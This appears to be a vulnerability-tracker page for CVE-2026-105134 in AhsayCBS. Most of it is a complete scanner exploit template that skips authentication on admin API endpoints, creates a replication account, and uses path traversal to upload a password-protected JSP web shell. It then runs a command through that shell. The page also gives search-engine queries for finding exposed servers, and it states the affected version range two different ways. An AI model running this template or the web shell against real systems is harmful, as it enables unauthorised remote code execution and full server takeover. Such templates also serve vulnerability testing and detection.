CVE-2026-105134: AhsayCBS <= 10.3.4 - Unauthenticated RCE

2026-11-09 PoC Public

Description

Ahsay AhsayCBS <= 10.3.2 contains a command injection caused by manipulation of the \"random\" argument in /rps/api/json/UpdateReceivers.do of Replication Receiver, letting remote attackers execute OS commands, exploit requires crafted request

Details

CVE
CVE-2026-105134 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-105134

info:
  name: AhsayCBS <= 10.3.4 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
    Ahsay AhsayCBS <= 10.3.2 contains a command injection caused by manipulation of the \"random\" argument in /rps/api/json/UpdateReceivers.do of Replication Receiver, letting remote attackers execute OS commands, exploit requires crafted request
  impact: |
    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 10.3.4.
  reference:
    - https://horizon3.ai/attack-research/attack-blogs/ahsaycbs-cve-2026-105133-cve-2026-105134-technical-analysis/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-105134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-105134
    epss-score: 0.81763
    epss-percentile: 0.99646
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 5
    vendor: ahsay
    product: ahsaycbs
    shodan-query: http.title:"/cbs/Logon.do"
    fofa-query: body="AhsayCBS" || body="/cbs/Logon.do"
  tags: cve,cve2026,ahsaycbs,rce,traversal,webshell,unauth,kev,intrusive,vkev

variables:
  recv_user: "rps{{rand_text_alpha(8)}}"
  recv_pass: "{{rand_text_alpha(8)}}"
  recv_dir: "/usr/local/cbs/rpsrecv_{{rand_text_alpha(8)}}"
  shell_name: "neo{{rand_text_alpha(8)}}.jsp"
  shell_secret: "{{rand_text_alphanumeric(8)}}"

flow: |
  if (http(1) && http(2) && http(3)) {
    if (http(4)) {
      http(5);
    }
  }

http:
  - raw:
      - |
        POST /obs/api/json/ListSystemUsers.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"FromServlet":"Y","SysUser":"x","SysPwd":"x"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"Status\":\"OK\"")'
        condition: and
        internal: true

  - raw:
      - |
        POST /rps/api/json/ListReceiver.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"FromServlet":"Y","SysUser":"x","SysPwd":"x"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /rps/api/json/UpdateReceivers.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"FromServlet":"Y","SysUser":"x","SysPwd":"x","Id":0,"ReplicationEnabled":true,"LoginName":"{{recv_user}}","Password":"{{recv_pass}}","Alias":"sys","SystemHome":"{{recv_dir}}","ObsVersion":1,"RestorePointInterval":0,"RetentionCustomizationPolicy":0,"CrcEnabled":false,"CrcHour":0,"CrcMinute":0,"V6ReplicationEnabled":false,"MigrateFromV6":false,"ListenHost":"","ListenPort":0}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"Status\":\"OK\"")'
        condition: and
        internal: true

  - raw:
      - |
        PUT /rps/obs7/rpsfile/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream
        X-RSW-Request-0: {{base64(recv_user)}}
        X-RSW-Request-1: {{base64(recv_pass)}}
        X-RSW-Request-2: {{base64("../../webapps/rps")}}
        X-RSW-Request-8: {{base64("0")}}
        X-RSW-Request-11: {{base64("../../webapps/rps")}}
        X-RSW-Request-12: {{base64("false")}}
        X-RSW-Request-13: {{base64("false")}}
        X-RSW-Request-14: {{base64("false")}}
        X-RSW-custom-encode-path: {{base64(shell_name)}}
        X-RSW-custom-encode-size: {{base64("1024")}}
        X-RSW-custom-encode-includeChecksum: {{base64("false")}}
        X-RSW-custom-encode-includeLastModified: {{base64("false")}}

        <%@ page import="java.io.*"%><%if(!"{{shell_secret}}".equals(request.getParameter("auth"))){response.sendError(404);return;}String c=request.getParameter("cmd");if(c!=null){boolean w=System.getProperty("os.name","").toLowerCase().contains("win");String[]cc=w?new String[]{"cmd.exe","/c",c}:new String[]{"/bin/sh","-c",c};Process p=Runtime.getRuntime().exec(cc);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("NEOOUT:");out.println(s.hasNext()?s.next():"");out.print(":NEOEND");}if("1".equals(request.getParameter("rm"))){try{new File(application.getRealPath(request.getServletPath())).delete();out.print("[self-removed]");}catch(Exception e){out.print("[rm-error]");}}%>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 201 || status_code == 204'
        internal: true

  - raw:
      - |
        GET /rps/{{shell_name}}?auth={{shell_secret}}&cmd=id HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("uid=\\d+\\([^)]+\\)", body) || contains_any(tolower(body), "root", "system", "nt authority")'
        condition: and

    extractors:
      - type: regex
        group: 0
        regex:
          - 'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)'
# digest: 4b0a00483046022100de6fc5de274cc29233ba89911474c3a9ebf4b035df6faf02c0b3876a8162f694022100dc2128b0fa1d513673e65b34d740091a4ff7d67580c6fb5fcc3ae546f92174a5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life